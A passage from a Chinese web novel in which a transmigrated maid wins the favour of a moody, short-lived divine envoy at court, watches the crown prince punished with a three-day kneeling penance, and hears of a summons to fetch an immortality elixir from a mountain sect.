皂泡包裹住褐色的小胖墩,只留出两个半眯起的小眼睛和黑色湿漉漉一耸一耸的鼻头。
猴大已经收拾完衣服,揣了几根香蕉一蹦一跳过来,将其中一根香蕉狗腿的奉给子桑,剩下几根随意放在地上,一边坐在池边给子桑捶背,一边剥香蕉吃。
赵玉屿见水豚一直发呆,心里暗笑子桑虽然起名潦草但也符合这水豚呆呆傻傻的模样。
她一时起了好玩心,剥了一根香蕉凑到它嘴边逗它玩。
没想到这丫小东西看起来神思恍惚,遇到吃的竟毫不嘴软。鼻尖耸动几下后,就张嘴将香蕉吞下,鼓着腮帮在嘴里细嚼慢咽。
赵玉屿瞧着可爱,又剥了一根喂它,再剥一根
一旁猴大正勤勤恳恳的捶背,吃完一根香蕉再伸手一摸,啥也没摸到。
它奇怪的扭头望去,地上就剩香蕉皮了!
猴大的目光顿时从震惊、愕然,到看着一旁的卡皮巴拉将香蕉吞下时的不可置信,气得哀嚎一声乱蹦脚,伸手就狂拍卡皮巴拉的后背,要让它吐出来。
然而那矮墩墩的小东西依旧眯着眼,任猴大怎么跳脚掐脖子乱晃都不动摇,老神在在的将口中最后一点香蕉咽下,甚至打了个饱嗝儿。
猴大:“!!!”
吃了我的东西还对我耀武扬威!
它气得想要冲上来打小呆,赵玉屿连忙护住小呆。
但事情到底是因她而起,她对着猴大也使不出往日的神气,搓了搓手,有些尴尬:“猴爷,是我一时没留意,要不,我待会给您多摘几个香蕉赔罪?”
猴大龇牙咧嘴依旧不依不饶,赵玉屿又商量道:“那我新做些好吃的糕点果茶给您送去品鉴,再给您缝件风风光光的漂亮衣服如何?”
猴大见赵玉屿难得的软声软气,越发得寸近尺,呸了一声,撅起屁股朝她放了个响亮的长屁。
赵玉屿:“”
尼玛,这屁可真臭!
猴大正作态拿捏得意洋洋,下一秒就被子桑毫不留情的巴掌扇懵。
子桑坐起身子捏住鼻子,满脸嫌弃:“你要死吗?”
猴大见他训斥,一时眼泪汪汪,捂着脸撅起嘴唇一颠一颠的跑开了。
卡皮巴拉还在嘴唇蠕动,鼻尖略耸,似乎还在回味着香蕉的味道,对发生的冲突丝毫不知。
赵玉屿瞧着猴大凄惨的模样也有些于心不忍:“额,它看起来很受伤。”
子桑靠回浴池边上:“不用管它。”
“神使大人您明明很在意猴大的。”
赵玉屿识趣的接过猴大的活儿,接着替子桑按摩,没成想子桑在她指尖触碰到肌肤的一瞬间犹如惊弓之鸟一下弹了起来,让赵玉屿也吓了一跳,手指还停在原处没收回,眨巴了下眼睛疑惑地望向他。
子桑也意识到自己失态,然而瞥向赵玉屿的那一刻,原本的慌张更是显目。
池边本就白雾缭绕,热气蒸腾。赵玉屿帮小呆洗澡时为图方便凉快就将衣摆扎起,卷起了衣袖和裤脚,露出一小节白皙的胳膊和小腿。
眼晕头热之下,那白得更加晃眼,子桑觉得身子愈加发热,有些慌乱地撇过眼,一把将还在缓缓咀嚼的小呆扯到怀里,任由它身上的泡沫沾染到身上,掩盖了脸上那一抹飘忽不定的红晕,硬声硬气的吩咐:“出去。”
“哦。”
赵玉屿以为他心情不好,想着可能是因为昨晚没睡好的缘由吧,这么一想又担心子桑会怪罪到自己身上,毕竟自己压了他胳膊睡了一晚。
子桑脾气向来古怪多变,若是他一时不快将火全撒到她身上也是有可能的,那是她可吃不了兜着走。
赵玉屿连忙起身行了一礼后快步退出,待推开隔门出了温泉池,清晨新鲜的空气贯然涌入,扑面而来的花草清香让她原本有些闷热的身子瞬间舒畅。
天边似有鹤鸣嘹亮,赵玉屿仰头望去,隐隐可见晨曦与鱼肚白相交的一线天边有鹤群飞来。
因着子桑的存在,帝都群鹤环绕并不见怪,赵玉屿未曾多想,只趁着天色未亮,众人尚未起床,也匆匆冲了把热水澡后回屋。
昨夜睡得并不算踏实,赵玉屿原是想小憩会儿,没成想一觉睡到了日上三竿。
她见窗外艳阳高照,连忙一个鲤鱼打滚翻身起床,着急忙慌穿好衣裳跑出屋去。
寻日里子桑吃穿用度皆是她着手准备,稍微有些不满意便得被小祖宗挖苦,如今迟了那么久,必定得被子桑阴阳怪气数落一顿。
刚出院子,正巧撞上李嬷嬷,差点头顶头撞个大包。
张嬷嬷见她行色匆匆,连忙扶稳她:“这么着急忙慌得做什么?”
赵玉屿有些尴尬:“张嬷嬷,我不小心睡过了头,忘了时辰。”
张嬷嬷却宽笑道:“不碍事,神使大人特意吩咐了,玉儿姑娘辛苦,让咱们不要打扰您休息,李嬷嬷已经将今日事宜都安排好了。”
她似是有些踌躇:“玉儿姑娘,昨晚宫宴上”
然而话说一半,赵嬷嬷顿了顿,最终只是一笑:“没什么,玉儿姑娘你好些休息吧,老身还有些事情,就先走了。”
见赵嬷嬷脚步匆匆,神色晦暗纠结,提到宫宴却有言辞闪烁,不敢多言,赵玉屿觉得有些奇怪。
她自然已经睡不着了,子桑这时候一般在摘星楼里看书,赵玉屿索性做了些糕点和果茶,拎着食盒抬脚朝摘星楼走去。
经过承天台时忽见祭坛中央跪着一道笔挺的身影。
第25章
承天台乃是奉天宫祭祀所用,祭天地诸神,祈求万民福祉,唯有重大节日才会启用,平日里都是放置在那当摆设。
往日就算有神侍惹了子桑不快被处罚,也不会让人跪在那儿受罚。毕竟这处罚不轻也不重,就算是跪上几天也死不了人,顶多受点伤饿上几顿,这处罚更多是丢面子。
赵玉屿好奇祭坛上跪着的人是谁,走近一瞧,不免讶然,罚跪在那的不是别的神侍,居然是宋承嵘!
已近午后,骄阳高悬,即便是汉白玉底的地基也耐不住几个时辰的罚跪,热得滚烫。
宋承嵘此时背后灼热,双膝麻木刺疼,口干舌燥,面色惨白,唇角生皮,额角渗出密密冷汗。
今早宫中传来一道圣旨,说是神使得天谕预警,天将降大旱三年以惩世人不诚之心,须地上皇跪首祭祀台三日,不进米食,潜心祝祷,方解此劫。
德仁帝如今年已六十,哪里受得了三日长跪,抚鹤神使感念德仁帝多年向善求道,便请示诸神,可由太子承父懿旨,跪首三日向天道求情,为万民祈福。
德仁帝自然乐意,即刻传旨,顺势让太子替自己受罚。
宋承嵘身为太子,受万民供养,于公,自当以身奉天下万民,赴承天台替天下百姓祈福;于私,替父受罚,合情合理,孝感动天。
宋承嵘自然不信天降大灾这等荒谬谶言,他与子桑向来不合,认定这必定是子桑为戏弄羞辱他的诡计,可即便知晓这是子桑的诡计,奈何德仁帝深信不疑,百姓视为天意,他若不从,便是置父皇于不仁,置天下百姓于不顾,置万民于水深火热,到时一个不忠不孝不仁不义的名头扣下来,民声载道,父皇不满,他的太子之位怕是也悬于高梁。
如此,宋承嵘只得忍气吞声,从辰时至今,已足足跪了三个时辰。
他自幼习武,耳力比常人更甚,这一日之中,祭坛之下时不时便有三三两两的宫侍经过,皆都低头不语,快步而行,偶尔有几道低语飘入耳中,全是惊讶和好奇。
宋承嵘何时受过此等羞辱,只觉锋芒在背,屈辱至极,咬牙闭眼,承受着一切的非议和暗笑。
赵玉屿站在不远处看了一会,暗自咋舌,也不禁觉得子桑太狠了。
像这种处罚对她来说是小意思,除了膝盖疼点肚子饿点没有丝毫杀伤力,但对于最重脸面的权贵子弟来说,却比要他们的命还要痛苦。
打人不打脸,宋承嵘向来自傲,这惩罚对于他一国太子来说更是身心双重暴击。
“怎么了,心神不宁的。”
摘星楼里,子桑坐在
方花纹貂纹软皮塌上翻了一页书,瞥了眼在一旁伺候,却明显心不在焉的赵玉屿,疏懒问道。
赵玉屿摇了摇头,坐在软塌旁的小凳子上耐心削着梨:“神使大人为何要让太子受罚?”
子桑又翻了一页书,漫不经心道:“心疼了?”
赵玉屿:“”
这都哪跟哪啊。
赵玉屿嘴角一抽,解释道:“小女只是想不通,太子殿下是未来储君,他又一向不喜摘星宫,神使大人跟太子交好不是更好吗?”
为何要故意与太子为难呢?甚至已是明面上的羞辱和刁难。
此事或许于外人看来,尽是奉仙宫占巧。若大旱未临,那便是子桑以通天之能提前预警,免去了天罚;若天降大旱,那便可说是太子祈福之心不诚,导致天怒责罚,左右都能说得通,还能泼太子一身腥。
可这一切都是在德仁帝在位的前提下。
德仁帝如今已经六十了,她可不信什么长生不老之道,老皇帝早晚是要驾崩的,他膝下如今只有三位皇子,除宋承嵘外的另外两位皇子,一个虽自幼聪颖过人,却天生残疾无法继任皇位,甚至连入朝为官都不行,只能当个闲散王爷;另一个尚且在襁褓之中嗷嗷待哺,太子宋承嵘可以说是大雍唯一的继位人,这已是不争的事实。
子桑如此对待太子,不是不给自己留后路吗。
日后一旦太子登基,本就厌恶神道之说的新帝势必要拿摘星宫开刀,杀鸡儆猴,血洗朝堂,排除异己,更新换代。
原著后期虽未明说,但从后宫宫人的只字片语中也可以推断,将来的宋承嵘的确是这么做的。
子桑毫不在意,慵懒靠在小榻上神色淡淡:“既然他都不喜摘星宫,那为何要同他交好?”
赵玉屿微怔,在子桑淡漠不屑却又有些厌倦的神色中似乎明白了他的意思。
后路这种东西,是给活着的人准备的。
如果一个人注定要死,那的确没有留后路的必要。
以己度人,若她知晓自己只剩下一年寿命,药石无医,到期必死,那剩下的日子自然怎么快活怎么来,想做的事情必须完成,佛挡杀佛神挡杀神,光脚不怕穿鞋的,还会想什么以后。
所以子桑做事情,总是带着一种平静懒散的疯批感。
因为活不了几年,无所谓做什么,无所谓旁人的看法,也无所谓得罪谁,只要自己开怀就行。
这精神状态从某种意义上来说,异乎常人的强大和稳定。
可这样想着,赵玉屿心中却有些难过。
她张了张口,最终也不知道该说些什么,只低着头切梨块。
子桑见耳边没了声音,目光从书上挪开瞥了她一眼,见她神色闷闷似是心事重重,心中也莫名涌上些烦闷,将书丢到一旁,伸手捏住她的脸。
“唔!”
赵玉屿被他突如其来的动作吓了一跳,讶然抬眼。
“怎么不开心?”
难不成是因为太子受罚,她瞧着心中难受。
赵玉屿垂下眼眸,声音低沉:“小女心中难过。”
果然是因为太子。
子桑听到这话眼中一暗,手下的力道忍不住重了一分,直到听到赵玉屿吃痛轻唤,这才恍然回过神来,垂眸收了手。
瞧着赵玉屿脸上的赫然红痕,子桑一时心乱如麻,五味杂陈,最终有些自嘲地扯了扯嘴角。
的确,跟着他一个将死之人,自然没有跟着前途无量的未来新帝合算。
众人皆知他行将就木,摘星宫人人面上敬仰,实际各自盘算出路,这些他不是不知道,只是从不在意。
他在一日,他们就得跪下一日,死后如何,干他何事。
他早就做好了赴死的准备,可方才那一刹那,竟也生了一丝不甘和厌恶。
不甘于短折而死,厌恶自己既定的命运和面对命运时的无能为力。
子桑垂下眼眸,心生厌烦刚想将赵玉屿屏退,却听到少女有些低落的回答。
“神使大人,旁人都说您注定小女每每想到此,心中便难过。”
子桑顿住,目光含着几不可见的错愕。
赵玉屿以为自己说错了话,连忙道:“小女一时多言,还请神使大人赎罪。”
是为了他,才会难过吗?
“你,是因为这个才难过?”
“是啊。虽然知晓神使大人不同凡人,日后涅槃乃是复归神位,可人非草木,与神使大人相处至今,小女感念大人恩情,私心希望大人可以长留人间。”
子桑望向赵玉屿,一时无言。
四周像是陷入一片死寂,寂静良久,久到赵玉屿怀疑子桑是不是在走神时,她忽而听到头顶传来一道淡薄的声音。
“你是第二个,希望我活下去的人。”
赵玉屿一愣,斗胆轻声问道:“那第一个人是谁?”
“死了。”
“”
赵玉屿猛然叩首:“小女知错!”
第26章
赵玉屿有些懊恼,怎么就一时不小心说出了心里话。子桑必定是忌讳旁人提及他命不久矣这件事,她这真是自己撞到枪口上了。
“抬头。”
她虽心怀紧张,还是依言缓缓抬起头,然未等她顺从的望去,就被一只手强势的捏住下巴抬起,仰目望去,撞入一双深幽凝雾的眼眸中。
子桑不同以往交谈的戏谑随意,他俯身望向她,凑近很近,近到赵玉屿可以感受到他的鼻息,近到可以看清他瞳孔中倒映出的小小的错愕的自己。
赵玉屿有些不习惯这样的距离,不自在的稍稍后仰,却被捏着下巴的手掌强劲控制住,逼迫着她直视眼前的少年。
她感到周遭空气稀薄,两人之间紧迫的距离像是将她挤压在一个狭小的缝隙间,窒息的压迫感铺天盖地席卷而来掠夺空气,让她无法呼吸,忍不住垂下眼眸不敢直视。
这是她同子桑相处以来,从未感受过的窘迫。
耳边响起一道轻问:“若我死了,你当如何?”
“小女愿意常伴青灯,为神使供奉香火。”
一声轻呵,似是嗤笑,随即是带着恶意的嘲弄。
“不,你不会。如你这般狡猾的丫头,只会给自己找一个更加强大的靠山,你会讨好太子,竭尽全力的讨好他,只为了能出人头地,不再过以前屈辱的生活,就像你如今竭尽全力的讨好我一样,不是吗?”
他每说一句,手下的力度便重了一分,像是要将她捏成碎片。
见赵玉屿不回答,他又轻声问道:“是吗?”
这声音不同方才,带着诱逼和蛊惑,像是丝丝毒藤在无人在意处悄然滋长,待醒悟时早已攀爬缠绕全身。
一道清亮的声音问道:“神使大人若是这般看我,为何还让小女常伴您左右?”
此话一出,原本满目嘲弄和恶意的子桑眼中一顿,捏着她下巴的手下意识卸了劲,瞥去眼眸缓缓起身坐直身子,恢复了往日淡漠神色:“日子无聊,难得消遣,我只是想看看你都有些什么手段。”
赵玉屿瞧着他大袖下无意识捏紧的手指:“大人其实无需向小女解释,您是神使,万人之上,若大人觉得小女是趋炎附势、谄献媚上之人,大可赐小女一死。”
子桑未曾想到她会如此回答,冷眼望去:“你以为我不敢杀你?”
他冷笑一声,接着讥讽:“莫不是这些日子惯着你,倒让你觉得自己与众不同了。莫忘了,你不过是一个婢女,本尊想杀便杀。”
赵玉屿讶然,眼中真诚:“大人惯着我?这话从何说起呢?小女不过是一个普通婢女,侍奉神使大人自觉惶恐,如何能让神使大人惯着?”
子桑:“”
赵玉屿接着道:“神使大人若是想杀我,小女不敢不从。只是临死之前小女还是有句心里话想对大人说。”
她顿了顿,望向子桑。
子桑
冷笑一声撇过头不愿瞧她,竖耳等了片刻,却见赵玉屿硬是望着自己不说话,一双杏眼,满目真诚,似是在请求他的同意才敢开口。
子桑略噎,最终从喉咙中挤出一个字。
“说。”
死傲娇。
赵玉屿心中吐槽,唇角压住稍起的笑意,一脸哀叹:“神使大人您其实说得没错,当初小女入奉仙宫,就是为了能逃脱赵家。不论当初是选神侍,还是入宫为婢,只要能离开赵家那个吃人魔窟,小女都愿意。三年来,小女从未见过神使大人,只是想着若是有朝一日能得神使青眼成了您的贴身侍女,自然日子就好过了一些,至少不用再回赵家吃糠咽菜。在成为内殿侍女之前,小女眼中的神使大人便是如众人所言,是高高在上,睥睨众生的仙尊。”
“成了内殿侍女之后,最初小女讨好神使大人,一来是尽本职,二来的确是存了讨好大人的心思,希望大人能够器重小女,让小女得以在外人面前长脸面,不再过寄人篱下的生活。可这些日子以来,小女斗胆,自觉大人可亲可爱。大人有时虽数落小女,却从未真的生过小女的气。小女一病不起,也是大人以仙丹救治小女。小女对赵家心存怨恨,即便是赵家负我在先,但在世人看来,女子怨恨父亲便是不孝不忠,乃是大罪。可神使大人却并不与世人同言,还愿意替小女撑腰,让小女出了这口恶气,以上种种小女皆铭记在心。”
赵玉屿抬眼,含着璀璨流光的眼眸望向子桑,毫无畏惧和迟疑:“所以,如今于小女而言,您不仅仅是护国神使这个称谓,还是小女愿意以毕生效忠之人。小女对您的敬意和尊重,并非因为您的身份,而是因为您本人。太子殿下便是再好,在小女心中也不及神使大人分毫,更何况,那太子为人□□,若要小女违心侍奉他,小女宁愿自裁追随神使大人,小女,小女也是有骨气的!”
赵玉屿说完这话,似是一惊,连忙闭嘴伏地顿首,状若下了必死决心:“小女自知此番言论乃是大逆不道,甘愿受罚。”
她额头贴着手背叩首,耳朵竖起悄悄听着动静。
头顶未有动静,赵玉屿心中有些打鼓,毕竟她这番话说得情真意切却十分过激,也算是没了回头路,是好是坏全凭子桑决断。若他不悦,那这段话就够她死上一百回了。
但赵玉屿相信,子桑必定爱听这话。
毕竟对于一个被置于高岭之巅,倔强的抵抗命运却又不得不屈服命运的孤僻又绝望的少年来说,一个真诚而单纯喜爱着他这个人,而非他神使身份的同伴,是短暂人生中多么难得的慰藉。
更何况赵玉屿还有一双巧手和玲珑心思,总是能带给他惊喜。
赵玉屿想,以子桑的性格,在他登仙之际或许会噶了她带她一起走,但现在,他舍不得。
她就赌他舍不得,不是舍不得她,而是舍不得像以前一样,独自喝酒、看书、赏景,在摘星楼高处不甚寒的屋顶独坐一夜,目光所及皆是虚无。
毕竟一个濒死之人,自然是随心所欲,无需考虑阴谋阳谋。不论以后如何,至少在人生的最后阶段,有一个人陪在身边,总比没有的好吧。
过了一会儿,头顶传来一道鼻腔里憋出的几不可闻的轻哼。
【滴,攻略对象好感度增长2%,当前好感度47%】
脑海中传来熟悉的系统提示音,赵玉屿松了口气,绷直的背脊终于放松。
果然,她赌赢了。
“起来吧。”
“多谢大人。”
赵玉屿如释重负,笑呵呵将削好的梨切成小块呈上:“大人吃梨。”
子桑没好气的捏了捏她的脸蛋:“你倒是没心没肺的。”
赵玉屿眨了眨眼睛,一脸无辜:“大人此话怎讲?”
子桑拿起小叉子叉起一块梨:“真不怕我杀你?”
赵玉屿皱起脸:“若说怕死,小女自然也怕。人人都怕死,可若是死得其所,倒也无畏,就怕死得憋屈。”
子桑指尖捏着小叉轻旋:“怎讲?”
赵玉屿凑近讨好:“比如若是同大人在一处,为大人而死,小女虽死犹荣,可若是因为太子殿下而死,那就太不值了,到了阴曹地府小女都得冤得跟阎王爷哭上一哭。”
子桑被她煞有其事的语气逗笑,将梨块塞到她嘴里:“你这嘴倒是比梨还甜。”
赵玉屿殷勤的为他敲了敲腿,狗腿哀嚎:“所以神使大人,您可千万别再把小女同太子殿下牵扯一块,每每听到您这般说,小女都心慌得很,生怕您不要我了。”
第27章
子桑重新拿起书:“行了,既然你这么讨厌太子,那就给你个狐假虎威的机会,去告诉太子,把背挺直了,否则祈福不诚,诸神怪罪,可就不止大旱三年了。”
这是让她站队,逼着她与太子交恶,也是对她的试探。
“是。”
赵玉屿虽然不想得罪太子,毕竟多一事不如少一事,却又不敢不从。她前头话都说到那份上了,若是犹豫退缩便是欺骗了子桑。
赵玉屿硬着头皮下了楼,离老远瞧着还倔强跪在那儿,却在淡去的昏凉夕阳下有些撑不住背脊的宋承嵘,也觉得有些惨。
这还剩两天呢,即便是晚上,宋承嵘也得跪在这睡,正常人膝盖都得跪废了,更何况三天不给吃喝。
老皇帝就这么一个能干的儿子,居然也不心疼,可见帝王多薄情。
啧,也难怪原著里宋承嵘那么讨厌神佛一说,天罚一词便将堂堂太子压制至此,这心理阴影得多大啊。
更何况宋承嵘高傲自负,怎么会容忍有人见过他如此狼狈的模样,自然是要将奉仙宫一干众人皆铲除殆尽。
*
夕阳彻底褪去的那一刻,昏蓝如墨的天空将万物渲染得苍凉黯淡。宋承嵘原本笔直的身子早已弯下,双唇的血色似乎被灼热的日光吸食殆尽,随着夕阳的垂落消散,徒留一片惨白。
一日未食,长跪不起,宋承嵘觉得脑袋有些晕眩。
恍惚中,他似乎听到一阵轻盈的脚步声,低垂的眼前,裙摆如莲花绽放轻旋,裙摆下是一双素净白靴。
宋承嵘心神一颤,陡然想起记忆中那把雨夜中为濒死的自己撑起的雨伞。在他昏迷之际,映入眼帘的也是一双素净白靴,于幽深午夜如光如炬,格外耀眼。
宋承嵘下意识屏住呼吸,按捺澎湃的心潮抬头望去,映入眼眸的是一张笑盈盈的娇俏面容,却并非他朝思暮想的那张脸。
“太子殿下孝感动天,令小女动容啊。”
赵玉屿原本想先夸赞他几句免得太过于得罪人,可瞧着他这张脸,说出口的话的确阴阳怪气。
果然,虽然太子算是个明君,但是对这种抛弃妻子又满世界寻找替身的渣男她还是无法苟同。
即便太子的自我借口是时局不稳,为了保护女主的安全才出此下策,可说白了不还是为了自己的私心,否则怎会转头就另娶尚书之女当太子妃。
冷语伤人一走了之,留下新婚燕尔便被抛弃的女主,何其寒心。
更何况之后强迫已有身孕的女主,逼她同小侯爷分离,杀了人家丈夫还吃醋关她进冷宫,虐身又虐心,简直畜生。
妈的,想想就来气。
赵玉屿面上冷了几分,脸上依旧含着笑意却不见眼底:“殿下长跪于此,怕是累了吧,可是这世间百姓大多艰苦,每日辛勤劳作日子却过得如履薄冰;太子殿下一日未食,想来是饿了吧,若是天下大旱三年庄稼颗粒无收,那万民皆成饿殍,路有白骨,夜游冤魂,殿下一心为民,想来必定不忍如此。所以神使
大人让小女提醒殿下一句,请殿下祈福虔诚,若是诸神动怒天降责罚,那这罪名,殿下可担待不起。”
赵玉屿双手拢于大袖,觉得自己现在的模样必定是一副尖酸刻薄狗仗人势的小人嘴脸,否则宋承嵘的眼里不会都快喷出火了。
宋承嵘深吸一口气,缓缓挺直脊梁,目光直视前方冷声道:“不劳神使费心。”
恶人做到底,赵玉屿轻啧一声,将扎心贯彻到底:“殿下可莫逞强,若是昏死过去,便是天降风霜暴雨,也无人会医治您的,三日之内,还得靠您自己渡过难关。”
说罢她拂袖长去。
此话一出,宋承嵘身子猛僵,心中窒息一痛,如针刺如刀割,恍惚间脑海中又浮现出那道月光般圣洁的身影,和漂泊大雨中躺在的泥泞里形容污垢的自己。
他拥有过月亮,却亲手将月亮丢弃。
如今,如今再也寻不回了吧。
朝男主心口扎了一刀的赵玉屿神清气爽,昂首挺胸进了摘星楼,结果再次爬得累成狗。
等她向子桑请命时,子桑瞧着她气喘吁吁的模样勾起嘴角:“爬个楼而已,至于累成这样吗?”
“小女可不及神使大人您,每日可以驾鹤而行,去哪都风驰电掣,自然不累。小女只有两条腿,这么高楼梯爬下来,人都得瘦一圈。”
子桑靠在小榻上,难得心情愉悦,朝她怀中丢了个东西。
赵玉屿双手接住一瞧,是个小玉笛。
“念在你每日要给本尊送夜宵,这笛子赠你,日后可乘鹤上楼。”
赵玉屿怔住,没想到他居然会将玉笛送给她,却也纠结。
“可是,小女无驭鹤之能啊。”
“驭鹤术不算难,只是心法而已,我教你。”
赵玉屿还是纠结:“可是,如此奥秘的心法神使大人您教给我”
会不会太过草率了点。
子桑有些不耐,摊出一只手掌:“你学不学,不学还我。”
“学!学!学!”
不学白不学,赵玉屿见他要要回笛子,连忙宝贝的将笛子紧紧搂在怀里,眼泪汪汪狗腿道。
“神使大人对小女真是太好了,小女无以为报,只能以身,啊不是,以命相许。”
子桑瞥了她一眼:“以身以命有什么区别吗?”
赵玉屿讪讪道:“那还是有一点的。”
“无所谓。”子桑摸了摸她的头发,用一种飘然又捉摸不透的晦涩语气说道,“至少在我死之前,你都是我的人。”
然而子桑并未来得及教授赵玉屿驭鹤心法,当日,帝都便出了一件大事。
“瑶山仙族派飞鹤传书,请神使大人回仙山?”
“是啊是啊!”
来传信的太监喜上眉梢,翘着兰花指道:“今早早朝之上,自东方有群鹤而来,绕柱而飞。其首一鹤,口衔兰信献于圣上。信上所言,瑶山炼制出长生不老之仙丹,念圣上恩泽万民,有济世之能,愿将仙丹献于圣上。然仙丹稀世,于极寒之地方可长存。若离瑶山需神使亲驾,以半仙之躯护佑仙丹,保仙丹路途无恙。陛下大喜啊!特命老奴前来请大人赴瑶山之请!”
这话听着就不太靠谱啊。
赵玉屿琢磨着,原著里也没说有这一段啊。
莫说瑶山到底存不存在,若是老皇帝当真吃下了长生不老药,也不会在原著中太子夺权后郁郁而终。
可见这长生不老药,不靠谱。
传信太监朝赵玉屿身后的楼阁探了探头,小心问道:“玉儿姑娘,这神使大人何时才能起身啊?奴才等着回去向圣上复命呢。”
赵玉屿面上寒暄:“许公公,您稍安勿躁。神使大人每日午后必定要小憩一会儿,若是不小心惊动大人,惹大人动了怒,这后果,您我也担当不起啊。”
她抬头瞧了瞧屋檐后的日头:“应当快了。”
“哎哎哎,奴才知道,奴才知道。”
许公公依言等候,不敢催促。
这护国神使的脾性他是知道的,比圣上都难伺候,可谓是帝都第一的目中无人,连圣上的面子都拂,更何况旁人了。
若是不小心惹恼了神使,他一个小奴才的命根本不够赔的。
如此,许公公瞧着眼前神态自若的侍女倒也心生出一些敬佩。
听闻这侍女将抚鹤神使哄得服服帖帖,甚至带其驭鹤同游,连出席国宴都带着她,可见是极喜欢她的。
许公公正想着送点银子做人情,就见身后窗户被一只瘦黄的手臂推开,竟是一只猴子。
赵玉屿瞧见,笑着推开门:“神使大人醒了,许公公快随我进去吧。”
许公公连应几声,随着赵玉屿走进小阁。
这阁楼不大,圆楼圆顶,三面环水,只来时一条浮桥成路。阁楼中环屋二十四扇彩色玻璃小窗皆被推开,从小窗中朝外望去,水中怪石凌立,水岸翠竹成趣,白鹤梳羽,翠鸟飞环,金鱼跃水,枯荷瑟瑟,人走窗移,扇扇成景,恍若画中游。
比起皇宫的庄严肃穆,草木皆荒,这奉仙宫显然更富江南水乡之雅趣灵动。
小阁内的一侧窗户边,子桑坐靠在小叶紫檀鲤鱼戏水莲花半扇小榻上,腰后垫着两个蜀锦高枕,他的长发未梳,垂披而下,绸缎般散在床榻上,浓墨青丝间露出精雕细琢的侧脸,面色瞧着却有些苍白,像是梦魇方醒。
子桑一只手肘压着窗框,素白修长的手指朝外递上一块糕点。
一只仙鹤从池中点水飞来落在窗外,修长的脖颈低下,尖长的橘喙衔住糕点,昂颈耸动几下,将糕点尽数吞下,旋即长脖又伸进窗户里想去叼碟子里的糕点,被子桑一巴掌拍回窗外。
白鹤委屈叫了一声,展翅飞走。
许公公瞅准时机上前一步,弯腰行礼道:“神使大人大喜。”
子桑拿帕子擦了擦手,后靠小榻,语调慵懒:“恭维的话就不必说了,地上皇之喜又非本尊之喜。”
许公公讪笑:“今早早朝之上,自东方有群鹤而来,绕柱而飞”
子桑明显不耐:“长话短说。”
“是是是。”许公公连道,“瑶山传信,请神使大人亲自回瑶山一趟,护送长生不老仙丹回帝都赠予陛下。”
此话一出,赵玉屿感到子桑明显嗤之以鼻:“长生不老仙丹。”
他又沉默片刻,旋即发出一声古怪的低笑,一声,两声,一声接一声,这笑声逐渐放肆、张狂,像是烈日中自天心而降的灼灼暴雨,打落在长满青苔的檐角,摔落在荒凉孤寂的断壁残垣,砸落于静如明镜的池面,逐渐连成一片涟漪。
第28章
子桑笑得前俯后仰,笑得眼角渗出泪水,笑得不慎挥落了一旁的糕点,白瓷小碟摔得清脆粉碎。
或许是瓷碟摔地的声音唤醒了子桑的理智,他用衣袖擦了擦眼角的泪水,缓缓平息胸口的震荡,又恢复了那副懒散轻屑的模样。
“回去告诉地上皇,三日之后太子殿下祈福毕,本尊便启程。”
许公公得了回复,自然欢天喜地的离开。
小阁中只剩下赵玉屿和子桑两人。
赵玉屿上前一步:“神使大人,这世上当真有长生不老药吗?”
子桑眉梢一挑,略带玩味:“怎么,你也想要?”
赵玉屿又上前一步,行事鬼祟,压低声音却斩钉截铁道:“小女是想,若当真有这仙丹,与其献给陛下,大人不如自个吃了,一走了之!”
子桑:“”
见眼前的少女杏眼含光,满目真诚,不似作假,他难得被噎住,一时无言。
见他不说话,赵玉屿以为他在思考事情的可行性,顿时理直气壮道:“大人您本就是瑶山之人,俗话说肥水不流外人田,与其将仙丹送给别人,不如给您用。再说,这世上若真有个长生不老的君主,于官于民于社稷,都是弊大于利。到时候您取到仙丹,骑上仙鹤就跑,论是再快的追兵也追不上您。哦不对,瑶山本就是您的家乡,您倒也不用跑”
“噗
嗤。”
子桑瞧着她煞有其事的分析,忍不住笑出了声。
这次笑容不同以往掺杂着轻蔑、嘲弄和厌世,而是纯粹的,干净的,一个十八岁少年的笑,明亮而璀璨,宛若旭日融山雪,杨柳送春风。
晃乱了赵玉屿的眼。
她怔住,看着子桑盘腿坐起身子,比方才的懒散多了些孩子气,伸出两只手捏住她的脸。
“你怎么瞧着傻乎乎的。”
“唔!”
子桑将她的脸揉搓成各种形状,时圆时扁,玩够了才松手。
“凡世间药物,皆以天地相生相克为据,除病去灾,疗伤愈体。药,本就在五行之内、六道之中,而六道之外乃是天命。方圆之内,如何能跃方圆而破之。”
他望向赵玉屿,目光平静:“这世上没有一种药,能解天命。”
天命
天命所定,二十而亡。
赵玉屿怔怔问道:“那神使大人真的会回到天上当神仙吗?”
她一直不明白这个世界的法则,这世上究竟有没有神仙,又或者人死之后魂归之处为何?
六道轮回,还是化为虚无。
子桑仰面躺下,双手枕在头下,望着屋顶的纵横房梁徐徐说道。
“或许吧。若我为神,我便化为雨露风霜,散入山川四海、塞北江南,到时候每一缕风,每一滴雨,每一阵青草香,都是我。”
望着子桑说到这时眼中流露出的向往与惬意,赵玉屿忽而感到喉咙有些苦涩。
无论是原著中,还是现实里的子桑一直所求不过是自由而已。
最后大结局里,与其说是因为善意而救女主,不如说是为了反抗所谓二十而亡的天命,选择在十九岁那年了却自己的生命。
温润善良,却有一身傲骨,从不屈服于命运,这便是她喜欢的角色。
赵玉屿压了压嗓子,撑起笑脸状若欢笑:“那到时候小女便去山川四海、塞北江南见神使大人。”
子桑睨了她一眼:“你倒是想得美,将游山玩水说得多忠心凛然。”
赵玉屿嘿嘿一笑,凑上前仰脸道:“神使大人,小女能跟着您一道去瑶山吗?”
子桑听到这话眉梢微挑,侧头望向她:“怎么,你想去?那里可没你想得那么好,到处都是雪,入眼只有白色,风冷得刺骨,夜晚寒凉,冻得人根本睡不着,水里一股咸腥味难喝死了。”
赵玉屿好奇:“为什么水里会有铁锈味?雪山的水不都是甜的吗,又不是海水?”
子桑似乎被问道,抿了抿嘴,没有回答也没阴阳怪气的怼她。
赵玉屿见他面色不悦,也不敢再多问,生怕这小祖宗突然发脾气自己小命不保,只道:“传闻中瑶山乃是仙山,想来必定仙气缭绕,不同凡世,小女自然想要一窥仙山真容,长长见识。不过,最重要的是神使大人去哪里,小女就去哪里。”
提到仙山,子桑发出一声嗤笑,似是在笑她见识短浅,又似在笑其他,但又听她后半句,难得沉默,扭头望向窗外肆意绽放的花树良久,才缓缓说道:“你若是能在三日内赶制出一套绝世华服,我就带你去。”
“绝世华服?”
子桑悠声朗朗:“惊鸿一瞥,遥遥相顾迟忘却;刹那芳华,流光易转人难寻。”
